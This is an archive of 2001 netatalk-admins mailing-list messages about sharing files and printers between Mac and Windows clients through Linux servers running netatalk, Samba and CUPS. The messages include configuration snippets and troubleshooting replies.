From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Nov 10, 2001 at 10:00:21PM +1100, Shane Pearson wrote:

> I have recently been requested to get an MS Windows
> classroom, connected with ethernet to an Apple classroom,
> on speaking terms. They are getting sick of moving data
> from class to class with Zip disks and are not having
> much joy with some smb-for-Apple type software.
> 
> So I was thinking of perhaps setting up a Linux or
> FreeBSD machine, with Samba and netatalk with a common
> share, as a go-between for their file sharing and maybe
> also common print serving along with internet
> gateway/proxy through their ISDN connection.

We are doing exactly that at my former school. We've got a network with
a central file server. Connected to that network are two rooms, one room
with Macs, and one with PCs as well as some more Macs and PCs scattered
in the building. It works quite well.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Nov 10 15:50:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA18333
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Nov 2001 15:50:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA25845
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Nov 2001 15:50:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA25824
	for netatalk.administrators-members@umich.edu; Sat, 10 Nov 2001 15:50:22 -0500 (EST)
Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA25789
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 15:50:21 -0500 (EST)
Received: from user-38lc045.dialup.mindspring.com ([209.86.0.133] helo=uclink4.berkeley.edu)
	by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 162f4y-0002ma-00
	for netatalk-admins@umich.edu; Sat, 10 Nov 2001 12:50:17 -0800
Sender: neil@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3BED9366.61CF8E65@uclink4.berkeley.edu>
Date: Sat, 10 Nov 2001 12:51:50 -0800
From: Neil Klepeis <nklepeis@uclink4.berkeley.edu>
Reply-To: nklepeis@uclink4.berkeley.edu
Organization: Lawrence Berkeley National Laboratory
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Everything nifty except printers
References: <3BED08C5.15F726B1@ign.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings,

I have my Mac/Linux network sharing files like a dream. 

The only problem is that I can't 'see' any of my Linux-CUPS printers
from the Mac client (in the chooser).  Maybe I am missing something
extremely obvious (I am not super familiar with the Mac OS).  

Some details/diagnostics are below.

Thanks in advance!

Neil


*The Network*

2 x RedHat Linux 7.1, netatalk 1.5pre2 (installed on both from RH rpm)
-Intel EtherPro 100 on 1st, 3Com 3c905C on 2nd

1 x Mac Performa 6360, OS 8.5
-Farallon PCI RTL8139 

D-Link DSS-8+ Switch

2 printers on 1st Linux Computer, served by CUPS 1.1.10


*nbplkup*

               waftage:AFPServer                          5.97:128
               waftage:netatalk                           5.97:4
               waftage:Workstation                        5.97:4
      HP LaserJet 1200:LaserWriter                        5.72:129
              linuxbox:AFPServer                          5.72:130
Epson Photo Stylus 870:LaserWriter                        5.72:128
              linuxbox:netatalk                           5.72:4
              linuxbox:Workstation                        5.72:4
          Mac Computer:AFPServer                          5.175:249
          Mac Computer:ARA - Client-Only                  5.175:2
          Mac Computer:  Power Macintosh                  5.175:252
          Mac Computer:Workstation                        5.175:4


*getzones* (`Linuxbox' shows up as a zone in the AppleTalk panel on the
Mac)

Linuxbox


*atalkd.conf* on linuxbox

eth0 -router -phase 2 -net 5 -addr 5.72 -zone "Linuxbox" 


*atalkd.conf* on waftage

eth0 -router -phase 2 -net 5 -addr 5.97 -zone "Linuxbox"


*papd.conf* on linuxbox

HP LaserJet 1200:\
       :pr=|/usr/bin/lp -d LaserJet:\
       :op=daemon:\
       :pd=/etc/cups/ppd/LaserJet.ppd:
 
Epson Photo Stylus 870:\
       :pr=|/usr/bin/lp -d Epson870:\
       :op=daemon:\
       :pd=/etc/cups/ppd/Epson870.ppd:



-- 
___________________________________________________________
Neil E. Klepeis -- School of Public Health, UC Berkeley and
Lawrence Berkeley National Laboratory, Berkeley, CA USA

From netatalk.administrators-errors@umich.edu  Sat Nov 10 19:23:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA24263
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Nov 2001 19:23:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA26723
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Nov 2001 19:23:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA26717
	for netatalk.administrators-members@umich.edu; Sat, 10 Nov 2001 19:23:18 -0500 (EST)
Received: from orion2.ign.com.au (orion2.ign.com.au [203.30.192.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA26696
	for <netatalk-admins@umich.edu>; Sat, 10 Nov 2001 19:23:17 -0500 (EST)
Received: from ign.com.au (shanep@usr-ppp48.ign.com.au [203.30.192.112])
	by orion2.ign.com.au (8.11.2/8.11.2) with ESMTP id fAAMOU632273;
	Sun, 11 Nov 2001 09:24:30 +1100
Sender: shanep@orion2.ign.com.au
Message-ID: <3BEDC4E3.742DA9ED@ign.com.au>
Date: Sun, 11 Nov 2001 11:22:59 +1100
From: Shane Pearson <shanep@ign.com.au>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.14-pre7 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <3BED08C5.15F726B1@ign.com.au> <20011110162747.A3698@jroger.in-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks Sebastian,

That's good to hear. Do you know if Linux or FreeBSD is
being used for that?

I'm wondering since netatalk originated on BSD?

BFN.


Sebastian Rittau wrote:
> 
> On Sat, Nov 10, 2001 at 10:00:21PM +1100, Shane Pearson wrote:
> 
> > I have recently been requested to get an MS Windows
> > classroom, connected with ethernet to an Apple classroom,
> > on speaking terms. They are getting sick of moving data
> > from class to class with Zip disks and are not having
> > much joy with some smb-for-Apple type software.
> >
> > So I was thinking of perhaps setting up a Linux or
> > FreeBSD machine, with Samba and netatalk with a common
> > share, as a go-between for their file sharing and maybe
> > also common print serving along with internet
> > gateway/proxy through their ISDN connection.
> 
> We are doing exactly that at my former school. We've got a network with
> a central file server. Connected to that network are two rooms, one room
> with Macs, and one with PCs as well as some more Macs and PCs scattered
> in the building. It works quite well.
> 
>  - Sebastian

From netatalk.administrators-errors@umich.edu  Sun Nov 11 00:03:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA02038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 00:03:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA13449
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 00:03:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA13444
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 00:03:07 -0500 (EST)
Received: from peterson.umci.com ([65.106.31.130])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA13428
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 00:03:06 -0500 (EST)
Received: by peterson.umci.com with Internet Mail Service (5.5.2448.0)
	id <4Z4SC7Q5>; Sat, 10 Nov 2001 21:05:15 -0800
Message-ID: <F101D6F85C61D311B63D0050DA0EFDE18C8F06@peterson.umci.com>
From: Chris Bondelid <cbond@umci.com>
To: netatalk-admins@umich.edu
Subject: RE: Intergrating an MS Windows classroom with an Apple classroom?
Date: Sat, 10 Nov 2001 21:05:14 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="windows-1252"

I'm running pre6 on RedHat Linux 7.2 no problem.  Mac OS 9.0.4 and 9.1
clients.

-----Original Message-----
From: Shane Pearson [mailto:shanep@ign.com.au]
Sent: Saturday, November 10, 2001 4:23 PM
To: Sebastian Rittau
Cc: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple
classroom?


Thanks Sebastian,

That's good to hear. Do you know if Linux or FreeBSD is
being used for that?

I'm wondering since netatalk originated on BSD?

BFN.

From netatalk.administrators-errors@umich.edu  Sun Nov 11 06:26:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA12363
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 06:26:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA10858
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 06:26:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA10852
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 06:26:11 -0500 (EST)
Received: from mail.exanet.co.il ([212.143.73.99])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA10834
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 06:26:09 -0500 (EST)
Received: from bull (bull [10.0.0.238])
	by mail.exanet.co.il (8.11.0/8.11.0) with SMTP id fABCNZU22859
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 14:23:36 +0200
Reply-To: <shai@exanet.com>
From: "Shai" <shai@exanet.com>
To: <netatalk-admins@umich.edu>
Subject: can't get netatalk.conf working
Date: Sun, 11 Nov 2001 13:22:31 +0200
Message-ID: <010801c16aa3$281a99d0$ee00000a@exanetil.co.il>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

somehow nothing i change in netatalk.conf makes any difference.
does any one know why?
I've tried changing max client number, atalk name and zone.
I have netatalk 1.5pre6 on linux red-hat7.1 installed on 2.4.2 kernel
			thanks 

From netatalk.administrators-errors@umich.edu  Sun Nov 11 08:37:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA15603
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 08:37:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA11083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 08:37:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA11067
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 08:37:26 -0500 (EST)
Received: from bandicoot.wn.com.au (bandicoot.wn.com.au [202.72.128.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA10958
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 08:37:23 -0500 (EST)
Received: from mulgara.westnet.com.au (unverified [202.72.128.253]) by bandicoot.wn.com.au
 (Rockliffe SMTPRA 4.5.4) with ESMTP id <B0056863667@bandicoot.wn.com.au> for <netatalk-admins@umich.edu>;
 Sun, 11 Nov 2001 21:37:19 +0800
Received: from mulgara (mulgara [127.0.0.1])
	by mulgara.westnet.com.au (Postfix) with SMTP id 52D4317D35
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 21:37:19 +0800 (WST)
Received: from fscked (dsp-202-72-132-221.perth.westnet.com.au [202.72.132.221])
	by mulgara.westnet.com.au (Postfix) with SMTP id CC7B517D27
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 21:37:17 +0800 (WST)
From: "David Okeby" <david@okeby.com>
To: "Netatalk-Admins" <netatalk-admins@umich.edu>
Subject: RE: Intergrating an MS Windows classroom with an Apple classroom?
Date: Sun, 11 Nov 2001 21:37:30 +0800
Keywords: netatalk-admins
Message-ID: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal

Hi,

Just a few things that I have come across when using that kind of
environment... Because of the nature of the metadata that mac's leave
everywhere (the .AppleDouble) folders they sometimes end up cluttering the
shares, and depending on how your Windows computers are set up they will
often see these files lying around.  I have also come across a few problem
of the creator and file type being garbled and the mac's not being able to
open files that the PC's have put there.

However it does work, and for me it works generally really well.


Thanks

David
david@okeby.com

-----Original Message-----
From: Chris Bondelid [mailto:cbond@umci.com]
Sent: Sunday, 11 November 2001 1:05 PM
To: netatalk-admins@umich.edu
Subject: RE: Intergrating an MS Windows classroom with an Apple classroom?

I'm running pre6 on RedHat Linux 7.2 no problem.  Mac OS 9.0.4 and 9.1
clients.

-----Original Message-----
From: Shane Pearson [mailto:shanep@ign.com.au]
Sent: Saturday, November 10, 2001 4:23 PM
To: Sebastian Rittau
Cc: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple
classroom?


Thanks Sebastian,

That's good to hear. Do you know if Linux or FreeBSD is
being used for that?

I'm wondering since netatalk originated on BSD?

BFN.


From netatalk.administrators-errors@umich.edu  Sun Nov 11 11:50:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21131
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 11:50:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18021
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 11:50:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18011
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 11:50:16 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA17994
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 11:50:15 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fABGoDd00471
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 17:50:13 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fABGoCZ6017542
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 17:50:12 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fABGoCWW017541
	for netatalk-admins@umich.edu; Sun, 11 Nov 2001 17:50:12 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 162un6-0000k2-00
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 14:36:52 +0100
Date: Sun, 11 Nov 2001 14:36:52 +0100
To: netatalk-admins@umich.edu
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
Message-ID: <20011111143652.A2834@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <3BED08C5.15F726B1@ign.com.au> <20011110162747.A3698@jroger.in-berlin.de> <3BEDC4E3.742DA9ED@ign.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3BEDC4E3.742DA9ED@ign.com.au>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sun, Nov 11, 2001 at 11:22:59AM +1100, Shane Pearson wrote:

> That's good to hear. Do you know if Linux or FreeBSD is
> being used for that?

We use Linux servers, but I doubt that there are serious problems with
FreeBSD.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Nov 11 11:56:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21263
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 11:56:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA22827
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 11:56:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA22817
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 11:56:09 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22786
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 11:56:08 -0500 (EST)
Received: from white-mountain.org (merlin.dhcp.white-mountain.org [192.168.0.140])
	by hermit.white-mountain.org (Postfix) with ESMTP id D69F24432
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 08:55:50 -0800 (PST)
Message-ID: <3BEEAE26.F3D9B998@white-mountain.org>
Date: Sun, 11 Nov 2001 08:58:14 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I haven't tried this but I believe that if you use the HFS filesystem on the
server (which Linux and probably also FreeBSD support natively), there won't
be a need for the additional AppleDouble files, and so when SAMBA clients move
or delete things there won't be any "orphaned" AppleDouble files left over.

David Okeby wrote:

> Hi,
>
> Just a few things that I have come across when using that kind of
> environment... Because of the nature of the metadata that mac's leave
> everywhere (the .AppleDouble) folders they sometimes end up cluttering the
> shares, and depending on how your Windows computers are set up they will
> often see these files lying around.  I have also come across a few problem
> of the creator and file type being garbled and the mac's not being able to
> open files that the PC's have put there.
>
> However it does work, and for me it works generally really well.
>
> Thanks
>
> David
> david@okeby.com


From netatalk.administrators-errors@umich.edu  Sun Nov 11 17:16:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03073
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 17:16:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA11151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 17:16:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA11133
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 17:16:13 -0500 (EST)
Received: from kakapo.cs.auckland.ac.nz (kakapo.cs.auckland.ac.nz [130.216.34.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA11076
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 17:16:11 -0500 (EST)
Received: from [130.216.108.121] (bobby-121.cs.auckland.ac.nz [130.216.108.121]) by kakapo.cs.auckland.ac.nz (8.8.6/8.8.6/cs-master) with ESMTP id LAA24310 for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:16:09 +1300 (NZDT) (sender bobby@cs.auckland.ac.nz)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Nov 2001 11:16:34 +1300
Subject: <no subject>
From: bobby <bobby@cs.auckland.ac.nz>
To: <netatalk-admins@umich.edu>
Message-ID: <B8156012.9A04%bobby@cs.auckland.ac.nz>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

remove


From netatalk.administrators-errors@umich.edu  Sun Nov 11 21:23:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 21:23:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA11000
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 21:23:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA10979
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 21:23:39 -0500 (EST)
Received: from mail.harrisonburg.k12.va.us ([204.111.40.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA10946
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 21:23:37 -0500 (EST)
Received: from [192.168.1.10] (ha84s117.d.shentel.net [204.111.84.117])
	(authenticated)
	by mail.harrisonburg.k12.va.us (8.11.4/8.11.4) with ESMTP id fAC2NTS27197;
	Sun, 11 Nov 2001 21:23:34 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 11 Nov 2001 21:23:26 -0500
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Rob Lineweaver <rbline@wm.edu>
To: David Okeby <david@okeby.com>, Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8149CCE.16FA%rbline@wm.edu>
In-Reply-To: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


> 
> Just a few things that I have come across when using that kind of
> environment... Because of the nature of the metadata that mac's leave
> everywhere (the .AppleDouble) folders they sometimes end up cluttering the
> shares, and depending on how your Windows computers are set up they will
> often see these files lying around.

this problem can be dealt with on the samba side by adding a mondo veto
files line to your smb.conf.  Something like the following is what I use
(all on one line):

veto files = /.AppleDesktop/.AppleDouble/Network Trash
Folder/TheVolumeSettingsFolder/TheFindByContentFolder/Temporary
Items/lost+found/Folder Settings/.finf/.bin/Icon?/Desktop/DesktopFolderDB/

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Sun Nov 11 22:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA14350
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Nov 2001 22:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA13560
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Nov 2001 22:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA13537
	for netatalk.administrators-members@umich.edu; Sun, 11 Nov 2001 22:43:08 -0500 (EST)
Received: from mta04.mail.mel.aone.net.au (mta04.mail.au.uu.net [203.2.192.84])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA13210
	for <netatalk-admins@umich.edu>; Sun, 11 Nov 2001 22:42:52 -0500 (EST)
Received: from faxserver ([63.60.247.66]) by mta04.mail.mel.aone.net.au
          with ESMTP
          id <20011112034246.HNBZ2245.mta04.mail.mel.aone.net.au@faxserver>;
          Mon, 12 Nov 2001 14:42:46 +1100
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 1633n8-0003Ia-00; Mon, 12 Nov 2001 10:13:30 +1100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Nov 2001 10:13:30 +1100
Subject: Re: can't get netatalk.conf working
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: <shai@exanet.com>, <netatalk-admins@umich.edu>
Message-ID: <B8155149.2D58%editor.ac@churchesofchrist.org.au>
In-Reply-To: <010801c16aa3$281a99d0$ee00000a@exanetil.co.il>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Have you done a recompile which might have changed the location of the
preference files, resulting in you updating the "old" ones, which are no
longer being read?

Nigel

> From: "Shai" <shai@exanet.com>
> Reply-To: <shai@exanet.com>
> Date: Sun, 11 Nov 2001 13:22:31 +0200
> To: <netatalk-admins@umich.edu>
> Subject: can't get netatalk.conf working
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Sun, 11 Nov 2001 06:33:14 -0500 (EST)
> 
> somehow nothing i change in netatalk.conf makes any difference.
> does any one know why?


From netatalk.administrators-errors@umich.edu  Mon Nov 12 03:34:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA23492
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 03:34:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA29821
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 03:34:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA29816
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 03:34:51 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA29794
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 03:34:50 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA24112
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 09:31:24 +0100
Message-ID: <3BEF88DD.4138BF85@euc.de>
Date: Mon, 12 Nov 2001 09:31:31 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: 1.56 versus 1.58
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi everyone

...back to the list ...

we'are running happily (nearly) netatlk. 1.56 on with suse and an ibm netfinity-server.

Are there any benefits that makes real sense changing the (running)
system to 1.58?


-- 


best regards

____________________________________________________________

Mac Conin                        Taubengasse 9
EUC Online Service GmbH          D 50676 Koeln
                                 tel : +49-221-923 27 33
http://www.euc.de                fax : +49-221-239 651

